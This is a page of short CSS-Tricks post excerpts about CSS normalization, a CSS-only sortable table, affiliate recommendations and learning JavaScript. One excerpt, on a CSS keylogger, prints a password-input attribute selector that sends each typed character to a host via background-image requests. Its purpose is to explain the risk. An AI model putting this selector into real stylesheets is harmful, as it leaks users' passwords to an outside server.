Another don’t call it a reset from Sindre Sorhus. It’s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I’m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.
If you’re interested in some of the history and thinking behind …
modern-normalize is a post from CSS-Tricks
Scary little attack using essentially a bunch of attribute selectors like this:
input[type="password"][value$="a"] {
background-image: url("https://localhost:3000/a");
}
At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:
const inp = …
CSS Keylogger is a post from CSS-Tricks
A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It’s a combination of inline CSS custom properties, the order property, and calc().
This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they’ve sorted the table when they …
Variable Order is a post from CSS-Tricks
Howdy. I’m taking this week’s “Sponsored Post” to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I’m happy going on the record endorsing.
…
Some Things I Recommend is a post from CSS-Tricks
Raise your hand if this sounds like you:
You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, “It’s time for something new, for the next step in your career. You need to learn programming.”
Yep, same here.
I’ve served in a variety of roles in the tech industry for close to …
The JavaScript Learning Landscape in 2018 is a post from CSS-Tricks
